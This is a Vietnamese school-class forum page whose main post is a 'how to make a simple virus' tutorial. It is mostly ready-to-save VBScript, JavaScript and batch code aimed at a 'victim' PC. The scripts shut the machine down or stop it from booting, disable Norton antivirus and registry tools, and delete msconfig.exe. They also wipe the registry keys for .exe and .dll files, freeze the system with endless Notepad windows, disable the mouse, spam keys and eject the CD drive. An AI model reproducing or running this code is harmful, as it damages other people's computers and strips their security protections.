12A3 VIP

Vui vẻ chia sẻ.Mọi người vào mà chém gió nhé !^^
 
Trang ChínhCalendarGalleryTrợ giúpTìm kiếmThành viênNhómĐăng kýĐăng Nhập
Latest topics
» boy a3 ngo nghinh
Sun May 26, 2013 1:12 pm by Admin

» Đỉnh cao Đối - Đáp
Sat May 19, 2012 2:19 am by kinte_trinh

» .......no signal
Sat May 19, 2012 2:06 am by kinte_trinh

» Giới thiệu về diễn đàn
Sun May 13, 2012 9:55 pm by shine_nd93

» qUa" khU" oF nGaY` mAi
Tue Oct 25, 2011 9:56 am by usb_s_lap

» sn anh d0a"
Mon Oct 24, 2011 9:13 pm by usb_s_lap

» ôi lớp mềnh :) ^^
Thu Oct 20, 2011 7:52 pm by kinte_trinh

» Thêm 1 bức ảnh của Admin nữa này
Thu Oct 20, 2011 7:48 pm by buratino_93

» Một chuyến đi chơi thú vị (Hoạt động của lớp-Phải xem)
Sat Oct 15, 2011 10:27 pm by usb_s_lap

» dUg` dOk kAi" nY`
Wed Oct 12, 2011 11:00 pm by CHIBIE

» cấm phụ nữ dưới 2tuổi,trẻ em có thai,đàn ông đang cho con bú...
Wed Oct 12, 2011 8:32 pm by usb_s_lap

» tiEn dAu mAu lOi rA
Wed Oct 12, 2011 8:20 pm by usb_s_lap

» hờ, gt phát nào
Wed Oct 12, 2011 6:42 pm by CHIBIE

» Mr.Vanteo
Wed Oct 12, 2011 6:34 pm by CHIBIE

» Khi quảng cáo... "ăn miếng trả miếng" cực quyết liệt
Wed Oct 12, 2011 6:10 pm by CHIBIE

Truyện Cười
Top posters
Mr.D (346)
 
Admin (279)
 
LaoKun (248)
 
kinte_trinh (239)
 
nGo^' (161)
 
duongcamhu (150)
 
CHIBIE (109)
 
Dũng.Thiếu.Gia (95)
 
buratino_93 (67)
 
mr.kutit (61)
 
Tìm kiếm
 
 

Display results as :
 
Rechercher Advanced Search
Tin Mới

Share | 
 

 Hướng dẫn làm virus đơn giản+Code VBs cho ai thik nghịch

Go down 
Tác giảThông điệp
mr.kutit

avatar

Tổng số bài gửi : 61
TIỀN MẶT USD : 62294
Danh tiếng : 0
Join date : 18/04/2010
Age : 25
Đến từ : S2 ai đó

Bài gửiTiêu đề: Hướng dẫn làm virus đơn giản+Code VBs cho ai thik nghịch   Mon May 24, 2010 4:50 pm

Tự làm ấy 1 con VR rất đơn giản ,hôm nay slm sẽ hướng dẫn các bạn.
Đầu tiên các bạn mở notepad và chọn một trong những đoạn mã sau, các bạn copy đoạn mã vào notepad và lưu dưới đuôi VBS. ví dụ: heokuz.vbs chảng hạn..

* mở ra một thông điệp vui sau đó sẽ tắt máy tính
CODE
Code:

@echo off
msg * em la heokuz ,bb anh!
shutdown -c "virus heokuz" -s -t 10


Chỉ với Notepad hay Wordpad bạn đã có thể tự tạo cho mình 1 "chú" Virus dưới dạng VBscript hoặc Javascript rồi:

Dưới đây là code của một số con virus nhỏ dưới dạng VBS:

1.Không cho victim khởi động máy:

Code:
Code:

Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows"



2. Disable NAV:

Code:
Code:

Dim wsh
Set wsh= CreateObject( "Wscript.Shell")
s1 = " HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic
es\Norton Program
Scheduler\Start"
wsh.RegWrite s1,3, "REG_DWORD"


3. Hiển thị một message mỗi khi reboot máy:

Code:
Code:

dim wsh
Set wsh = CreateObject( "Wscript.Shell" )
s1 = " HKLM\Software\Microsoft\Windows\CurrentVersion\Win
Logon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "http://allformy.topcities.com"
wsh.RegWrite s1+s3, "Hi ! Toi la SLM- Toi den tu truongton.net"



4. Hiển thị một dòng lệnh khi click vào file hay folder:,

Code:

Code:
set reg=createobject("Wscript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Hi ! Ban da bi nhiem WK tu vn-zoom"
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hi ! Ban da bi nhiem WK tu vn-zoom\","SLM"



5. Làm cho các trò trên hoạt động bình thường:

Code:
Code:

Dim objShell
Set objShell = CreateObject( "Wscript.Shell" )
s1 = "HKEY_USERS\. Default\Software\Microsoft\Windows\CurrentVersion\
"
s2 = "Policies\System\DisableRegistryTools"
objShell.RegWrite s1+s2,1, "REG_DWORD"



Dưới dạng Javascipt :

Code:
Code:

var wsh;
wsh=new ActiveXObject ("Wscript.shell");


// Winlogon when reboot


var s1 = " HKLM\\Software\\Microsoft\\Windows\\CurrentVersion
\\WinLogon\\";
var s2 = "LegalNoticeCaption";
var s3 = "LegalNoticeText";
wsh.RegWrite (s1+ s2, "http://allformy.topcities.com") ;
wsh.RegWrite (s1+s3, "Hi ! Toi la Anti_Love. Toi den tu Chip&Kitty.com") ;

//Disable Registry
var s1 = "HKEY_USERS\\. Default\\Software\\Microsoft\\Windows\\CurrentVers
ion\\";
var s2 = "Policies\\System\\DisableRegistryTools" ;
wsh.RegWrite (s1+s2,0,"REG_DWORD");



//Delete file Msconfig.exe
Code:
Code:

var fso;
fso=new ActiveXObject("scripting.FileSystemObject");
var fe=fso.getfile("C:\\windows\\msconfig.exe);
fe.delete true;


//Shutdown windows

//Disable Mouse

wsh.run ("RUNDLL32.EXE mouse,disable");


//Hang up windows

wsh.run ("rundll32 user,disableoemlayer");


Xóa khóa Registry Files
* xóa các tập tin registry key, sau đó lặp lại một tin nhắn

CODE
Code:

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO slm chuc anh 1 ngay vui ve.
GOTO MESSAGE


-Endless Notepads
* Điều này sẽ bật lên Notepads bất tận cho đến khi máy tính bị đóng băng và các vụ đụng *



CODE
Code:

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


-Crazy caps lock
* không ngừng quay caps lock và tắt nhanh chóng liên tục *


CODE
Code:

Set wshShell =wscript.CreateObject("Wscript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop



--Endless ENter
* Ép enter liên tục

CODE
Code:

Set wshShell = wscript.CreateObject("Wscript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop


--Endless Backspace
* làm cho phím backspace liên tục bị ép *

CODE
Code:

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("Wscript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop



* làm cho ổ đĩa CD liên tục vọt ra *

CODE
Code:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop


Tất cả các code trên lưu với đuôi VBS

Còn những cái này lưu dưới dạng slm.bat(đuôi .bat)

Lặp lại n lần chu kỳ mess

Code:

@ECHO off
:Begin
msg * Hi
msg * khoe ko anh ?
msg * em heokuz ne
msg * buon ngu chua?
msg * tat may ngu thoi ,bb anh
GOTO BEGIN


Auto shutdown
Code:

@echo off
msg * heokuz yeu em
shutdown -c “Error! tạm biet em!” -s

nguồn: truongton.net
Về Đầu Trang Go down
Xem lý lịch thành viên http://a11fc.com
 
Hướng dẫn làm virus đơn giản+Code VBs cho ai thik nghịch
Về Đầu Trang 
Trang 1 trong tổng số 1 trang
 Similar topics
-
» Part No: 1435000Z10001 Code: 88092764 Gemu Vietnam
» Hướng dẫn cách Refer Friend
» Code Trove
» CODE Mount Insanisteed lấy nhanh kẻo hết

Permissions in this forum:Bạn không có quyền trả lời bài viết
12A3 VIP :: Phần mềm, kinh nghiệm và thủ thuật máy tính!-
Chuyển đến